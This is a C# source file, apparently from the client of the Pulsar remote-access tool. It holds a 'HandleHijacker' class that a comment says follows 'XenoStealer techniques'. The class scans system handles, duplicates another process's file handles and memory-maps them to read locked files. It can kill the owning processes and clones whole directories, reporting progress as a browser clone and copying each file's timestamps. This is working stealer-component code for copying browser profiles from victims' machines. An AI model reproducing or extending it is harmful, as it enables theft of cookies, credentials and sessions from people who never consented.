using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Linq;
using System.Threading;
using Pulsar.Client.Recovery.Utilities.Xeno;

namespace Pulsar.Client.Helper.HVNC
{
    /// <summary>
    /// Advanced file reading using handle hijacking and memory mapping
    /// Based on XenoStealer techniques - reads locked files without killing processes
    /// </summary>
    internal static class HandleHijacker
    {
        #region Native Structures

        [StructLayout(LayoutKind.Sequential)]
        private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
        {
            public IntPtr Object;
            public IntPtr UniqueProcessId;
            public IntPtr HandleValue;
            public uint GrantedAccess;
            public ushort CreatorBackTraceIndex;
            public ushort ObjectTypeIndex;
            public uint HandleAttributes;
            public uint Reserved;
        }

        [StructLayout(LayoutKind.Sequential)]
        private struct SYSTEM_HANDLE_INFORMATION_EX
        {
            public IntPtr NumberOfHandles;
            public IntPtr Reserved;
            // Handles follow after this
        }

        private enum SYSTEM_INFORMATION_CLASS
        {
            SystemExtendedHandleInformation = 64
        }

        private enum FileType : uint
        {
            FILE_TYPE_UNKNOWN = 0x0000,
            FILE_TYPE_DISK = 0x0001,
            FILE_TYPE_CHAR = 0x0002,
            FILE_TYPE_PIPE = 0x0003
        }

        [StructLayout(LayoutKind.Sequential)]
        private struct RM_UNIQUE_PROCESS
        {
            public uint dwProcessId;
            public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        private struct RM_PROCESS_INFO
        {
            public RM_UNIQUE_PROCESS Process;
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
            public string strAppName;
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 64)]
            public string strServiceShortName;
            public uint ApplicationType;
            public uint AppStatus;
            public uint TSSessionId;
            [MarshalAs(UnmanagedType.Bool)]
            public bool bRestartable;
        }

        private enum RM_REBOOT_REASON
        {
            RmRebootReasonNone = 0x0,
            RmRebootReasonPermissionDenied = 0x1,
            RmRebootReasonSessionMismatch = 0x2,
            RmRebootReasonCriticalProcess = 0x4,
            RmRebootReasonCriticalService = 0x8,
            RmRebootReasonDetectedSelf = 0x10
        }

        #endregion

        #region Native Methods

        [DllImport("ntdll.dll")]
        private static extern uint NtQuerySystemInformation(
            SYSTEM_INFORMATION_CLASS SystemInformationClass,
            IntPtr SystemInformation,
            uint SystemInformationLength,
            out uint ReturnLength);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool CloseHandle(IntPtr hObject);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool DuplicateHandle(
            IntPtr hSourceProcessHandle,
            IntPtr hSourceHandle,
            IntPtr hTargetProcessHandle,
            ref IntPtr lpTargetHandle,
            uint dwDesiredAccess,
            bool bInheritHandle,
            uint dwOptions);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern IntPtr GetCurrentProcess();

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern FileType GetFileType(IntPtr hFile);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        private static extern uint GetFinalPathNameByHandleW(
            IntPtr hFile,
            StringBuilder lpszFilePath,
            uint cchFilePath,
            uint dwFlags);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        private static extern IntPtr CreateFileMappingA(
            IntPtr hFile,
            IntPtr lpFileMappingAttributes,
            uint flProtect,
            uint dwMaximumSizeHigh,
            uint dwMaximumSizeLow,
            string lpName);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool GetFileSizeEx(IntPtr hFile, out ulong lpFileSize);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern IntPtr MapViewOfFile(
            IntPtr hFileMappingObject,
            uint dwDesiredAccess,
            uint dwFileOffsetHigh,
            uint dwFileOffsetLow,
            UIntPtr dwNumberOfBytesToMap);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool UnmapViewOfFile(IntPtr lpBaseAddress);

        [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
        private static extern int RmStartSession(out uint pSessionHandle, uint dwSessionFlags, string strSessionKey);

        [DllImport("rstrtmgr.dll")]
        private static extern int RmEndSession(uint pSessionHandle);

        [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
        private static extern int RmRegisterResources(
            uint pSessionHandle,
            uint nFiles,
            string[] rgsFilenames,
            uint nApplications,
            RM_UNIQUE_PROCESS[] rgApplications,
            uint nServices,
            string[] rgsServiceNames);

        [DllImport("rstrtmgr.dll")]
        private static extern int RmGetList(
            uint dwSessionHandle,
            out uint pnProcInfoNeeded,
            ref uint pnProcInfo,
            [In, Out] RM_PROCESS_INFO[] rgAffectedApps,
            out RM_REBOOT_REASON lpdwRebootReasons);

        #endregion

        #region Constants

        private const uint PROCESS_DUP_HANDLE = 0x0040;
        private const uint DUPLICATE_SAME_ACCESS = 0x00000002;
        private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
        private const uint PAGE_READONLY = 0x02;
        private const uint FILE_MAP_READ = 0x04;
        private const uint FILE_NAME_NORMALIZED = 0x0;
        private const uint ERROR_MORE_DATA = 0xEA;

        #endregion

        /// <summary>
        /// Safely closes a handle, ignoring exceptions from pseudo-handles or invalid handles
        /// </summary>
        private static void SafeCloseHandle(IntPtr handle)
        {
            if (handle == IntPtr.Zero || handle == new IntPtr(-1))
                return;

            try
            {
                CloseHandle(handle);
            }
            catch
            {
                // Some handles (like pseudo-handles) throw exceptions when closed
                // This is expected and can be safely ignored
            }
        }

        /// <summary>
        /// Forces reading a file even if it's locked by another process
        /// Uses handle hijacking and memory mapping
        /// </summary>
        public static byte[] ForceReadFile(string filePath, bool killOwningProcessIfFailed = false)
        {
            // First try normal read
            try
            {
                return File.ReadAllBytes(filePath);
            }
            catch (Exception e)
            {
                // -2147024864 is the HRESULT for file being used by another process
                if (e.HResult != -2147024864)
                {
                    return null;
                }
            }

            Debug.WriteLine($"[HandleHijacker] File locked: {filePath}");
            Debug.WriteLine("[HandleHijacker] Attempting handle hijacking...");

            bool hasPids = GetProcessesLockingFile(filePath, out int[] lockingProcesses);
            
            IntPtr pInfo = IntPtr.Zero;
            try
            {
                uint dwSize = 0;
                uint status;
                int handleStructSize = Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX));

                pInfo = Marshal.AllocHGlobal(handleStructSize);
                do
                {
                    status = NtQuerySystemInformation(
                        SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation,
                        pInfo,
                        dwSize,
                        out dwSize);

                    if (status == STATUS_INFO_LENGTH_MISMATCH)
                    {
                        pInfo = Marshal.ReAllocHGlobal(pInfo, (IntPtr)dwSize);
                    }
                } while (status != 0);

                IntPtr pInfoBackup = pInfo;
                ulong numOfHandles = (ulong)Marshal.ReadIntPtr(pInfo);
                pInfo += 2 * IntPtr.Size;

                Debug.WriteLine($"[HandleHijacker] Scanning {numOfHandles} handles...");

                byte[] result = null;

                for (ulong i = 0; i < numOfHandles; i++)
                {
                    IntPtr handlePtr = pInfo + (int)(i * (uint)handleStructSize);
                    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo = 
                        Marshal.PtrToStructure<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>(handlePtr);

                    if (hasPids && !Array.Exists(lockingProcesses, pid => pid == (int)(uint)handleInfo.UniqueProcessId))
                    {
                        continue;
                    }

                    // dupe handle
                    if (DuplicateHandleFromProcess(
                        (int)handleInfo.UniqueProcessId,
                        handleInfo.HandleValue,
                        out IntPtr duppedHandle))
                    {
                        try
                        {
                            if (GetFileType(duppedHandle) != FileType.FILE_TYPE_DISK)
                            {
                                SafeCloseHandle(duppedHandle);
                                continue;
                            }

                            string handlePath = GetPathFromHandle(duppedHandle);
                            if (handlePath == null)
                            {
                                SafeCloseHandle(duppedHandle);
                                continue;
                            }

                            if (handlePath.StartsWith("\\\\?\\"))
                            {
                                handlePath = handlePath.Substring(4);
                            }

                            if (string.Equals(handlePath, filePath, StringComparison.OrdinalIgnoreCase))
                            {
                                Debug.WriteLine($"[HandleHijacker] Found matching handle from PID {handleInfo.UniqueProcessId}");
                                result = ReadFileBytesFromHandle(duppedHandle);
                                SafeCloseHandle(duppedHandle);

                                if (result != null)
                                {
                                    Debug.WriteLine($"[HandleHijacker] Successfully read {result.Length} bytes");
                                    break;
                                }
                            }

                            SafeCloseHandle(duppedHandle);
                        }
                        catch
                        {
                            SafeCloseHandle(duppedHandle);
                        }
                    }
                }

                Marshal.FreeHGlobal(pInfoBackup);

                if (result == null && killOwningProcessIfFailed && lockingProcesses != null)
                {
                    Debug.WriteLine($"[HandleHijacker] Handle hijacking failed for '{filePath}', killing locking processes...");
                    foreach (var pid in lockingProcesses)
                    {
                        try
                        {
                            var proc = Process.GetProcessById(pid);
                            Debug.WriteLine($"[HandleHijacker] Killing process PID {pid} ({proc.ProcessName})");
                            proc.Kill();
                        }
                        catch { }
                    }

                    System.Threading.Thread.Sleep(100);

                    try
                    {
                        result = File.ReadAllBytes(filePath);
                        Debug.WriteLine("[HandleHijacker] Successfully read after killing processes");
                    }
                    catch { }
                }

                return result;
            }
            finally
            {
                if (pInfo != IntPtr.Zero)
                {
                    try { Marshal.FreeHGlobal(pInfo); } catch { }
                }
            }
        }

        /// <summary>
        /// Copies a locked file using handle hijacking
        /// </summary>
        public static bool ForceCopyFile(string sourcePath, string destinationPath, bool killIfFailed = false)
        {
            bool hijacked = FileHandlerXeno.CloneFileByHandleHijacking(sourcePath, destinationPath);
            if (hijacked && ValidateFileCopy(sourcePath, destinationPath))
            {
                return true;
            }

            byte[] fileData = ForceReadFile(sourcePath, killIfFailed);
            if (fileData == null)
            {
                return false;
            }

            try
            {
                File.WriteAllBytes(destinationPath, fileData);
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"[HandleHijacker] Failed to write file '{destinationPath}': {ex.Message}");
                return false;
            }

            if (!ValidateFileCopy(sourcePath, destinationPath))
            {
                Debug.WriteLine($"[HandleHijacker] Validation failed after writing '{destinationPath}'.");
                try
                {
                    if (File.Exists(destinationPath))
                    {
                        File.Delete(destinationPath);
                    }
                }
                catch { }

                return false;
            }

            return true;
        }

        private static bool DuplicateHandleFromProcess(int sourceProcessId, IntPtr sourceHandle, out IntPtr targetHandle)
        {
            targetHandle = IntPtr.Zero;

            IntPtr procHandle = OpenProcess(PROCESS_DUP_HANDLE, false, (uint)sourceProcessId);
            if (procHandle == IntPtr.Zero)
            {
                return false;
            }

            IntPtr newHandle = IntPtr.Zero;
            bool success = DuplicateHandle(
                procHandle,
                sourceHandle,
                GetCurrentProcess(),
                ref newHandle,
                0,
                false,
                DUPLICATE_SAME_ACCESS);

            CloseHandle(procHandle);

            if (success && newHandle != IntPtr.Zero)
            {
                targetHandle = newHandle;
                return true;
            }

            return false;
        }

        private static string GetPathFromHandle(IntPtr fileHandle)
        {
            StringBuilder fileNameBuilder = new StringBuilder(32767 + 2);
            uint pathLen = GetFinalPathNameByHandleW(
                fileHandle,
                fileNameBuilder,
                (uint)fileNameBuilder.Capacity,
                FILE_NAME_NORMALIZED);

            if (pathLen == 0)
            {
                return null;
            }

            return fileNameBuilder.ToString(0, (int)pathLen);
        }

        private static byte[] ReadFileBytesFromHandle(IntPtr handle)
        {
            IntPtr fileMapping = CreateFileMappingA(handle, IntPtr.Zero, PAGE_READONLY, 0, 0, null);
            if (fileMapping == IntPtr.Zero)
            {
                return null;
            }

            try
            {
                if (!GetFileSizeEx(handle, out ulong fileSize))
                {
                    return null;
                }

                if (fileSize == 0)
                {
                    return new byte[0];
                }

                IntPtr baseAddress = MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, (UIntPtr)fileSize);
                if (baseAddress == IntPtr.Zero)
                {
                    return null;
                }

                try
                {
                    byte[] fileData = new byte[fileSize];
                    Marshal.Copy(baseAddress, fileData, 0, (int)fileSize);
                    return fileData;
                }
                finally
                {
                    UnmapViewOfFile(baseAddress);
                }
            }
            finally
            {
                CloseHandle(fileMapping);
            }
        }

        private static bool GetProcessesLockingFile(string filePath, out int[] processes)
        {
            processes = null;

            string sessionKey = Guid.NewGuid().ToString();
            if (RmStartSession(out uint sessionHandle, 0, sessionKey) != 0)
            {
                return false;
            }

            try
            {
                string[] resources = new string[] { filePath };
                if (RmRegisterResources(sessionHandle, (uint)resources.Length, resources, 0, null, 0, null) != 0)
                {
                    return false;
                }

                uint nProcInfo = 0;
                int status = RmGetList(sessionHandle, out uint nProcInfoNeeded, ref nProcInfo, null, out _);

                if (status != ERROR_MORE_DATA)
                {
                    processes = new int[0];
                    return true;
                }

                RM_PROCESS_INFO[] affectedApps = new RM_PROCESS_INFO[nProcInfoNeeded];
                nProcInfo = nProcInfoNeeded;
                status = RmGetList(sessionHandle, out nProcInfoNeeded, ref nProcInfo, affectedApps, out _);

                if (status == 0)
                {
                    processes = new int[affectedApps.Length];
                    for (int i = 0; i < affectedApps.Length; i++)
                    {
                        processes[i] = (int)affectedApps[i].Process.dwProcessId;
                    }
                    return true;
                }

                return false;
            }
            finally
            {
                RmEndSession(sessionHandle);
            }
        }

        /// <summary>
        /// Copies an entire directory using handle hijacking for locked files
        /// </summary>
        public static bool ForceCopyDirectory(string sourceDir, string destDir, bool killIfFailed = false, IProgress<BrowserCloneProgress> progress = null, CancellationToken cancellationToken = default)
        {
            try
            {
                if (!Directory.Exists(sourceDir))
                {
                    return false;
                }

                Directory.CreateDirectory(destDir);

                var directories = new List<string>();
                foreach (string directory in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories))
                {
                    cancellationToken.ThrowIfCancellationRequested();
                    directories.Add(directory);
                }

                foreach (string directory in directories)
                {
                    cancellationToken.ThrowIfCancellationRequested();

                    string relativeDir = directory.Substring(sourceDir.Length)
                        .TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
                    string targetDir = string.IsNullOrEmpty(relativeDir)
                        ? destDir
                        : Path.Combine(destDir, relativeDir);

                    Directory.CreateDirectory(targetDir);
                }

                var files = new List<string>();

                foreach (string file in Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories))
                {
                    cancellationToken.ThrowIfCancellationRequested();
                    files.Add(file);
                }

                int totalFiles = files.Count;
                int processed = 0;
                bool allFilesCopied = true;

                progress?.Report(new BrowserCloneProgress(0, totalFiles, string.Empty, totalFiles == 0));

                foreach (string file in files)
                {
                    cancellationToken.ThrowIfCancellationRequested();

                    string relativePath = file.Substring(sourceDir.Length)
                        .TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
                    string destFile = Path.Combine(destDir, relativePath);

                    string destFileDirectory = Path.GetDirectoryName(destFile);
                    if (!string.IsNullOrEmpty(destFileDirectory))
                    {
                        Directory.CreateDirectory(destFileDirectory);
                    }

                    bool copied = TryCopyFileWithValidation(file, destFile, killIfFailed);
                    if (!copied)
                    {
                        Debug.WriteLine($"[HandleHijacker] Failed to copy '{file}' to '{destFile}'.");
                        allFilesCopied = false;
                    }

                    processed++;
                    progress?.Report(new BrowserCloneProgress(processed, totalFiles, relativePath));
                }

                progress?.Report(new BrowserCloneProgress(totalFiles, totalFiles, string.Empty));

                return allFilesCopied;
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"[HandleHijacker] Error copying directory: {ex.Message}");
                return false;
            }
        }

        private static bool TryCopyFileWithValidation(string sourcePath, string destinationPath, bool killIfFailed)
        {
            try
            {
                File.Copy(sourcePath, destinationPath, true);
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"[HandleHijacker] Standard copy failed for '{sourcePath}': {ex.Message}");
            }

            if (ValidateFileCopy(sourcePath, destinationPath))
            {
                return true;
            }

            if (!ForceCopyFile(sourcePath, destinationPath, killIfFailed))
            {
                return false;
            }

            return ValidateFileCopy(sourcePath, destinationPath);
        }

        private static bool ValidateFileCopy(string sourcePath, string destinationPath)
        {
            try
            {
                if (!File.Exists(sourcePath) || !File.Exists(destinationPath))
                {
                    return false;
                }

                var sourceInfo = new FileInfo(sourcePath);
                var destInfo = new FileInfo(destinationPath);

                if (sourceInfo.Length != destInfo.Length)
                {
                    return false;
                }

                MirrorFileMetadata(sourceInfo, destInfo);
                return true;
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"[HandleHijacker] Failed to validate copy '{sourcePath}' -> '{destinationPath}': {ex.Message}");
                return false;
            }
        }

        private static void MirrorFileMetadata(FileInfo sourceInfo, FileInfo destInfo)
        {
            try
            {
                File.SetAttributes(destInfo.FullName, sourceInfo.Attributes);
            }
            catch { }

            try
            {
                File.SetCreationTimeUtc(destInfo.FullName, sourceInfo.CreationTimeUtc);
                File.SetLastWriteTimeUtc(destInfo.FullName, sourceInfo.LastWriteTimeUtc);
                File.SetLastAccessTimeUtc(destInfo.FullName, sourceInfo.LastAccessTimeUtc);
            }
            catch { }
        }
    }
}
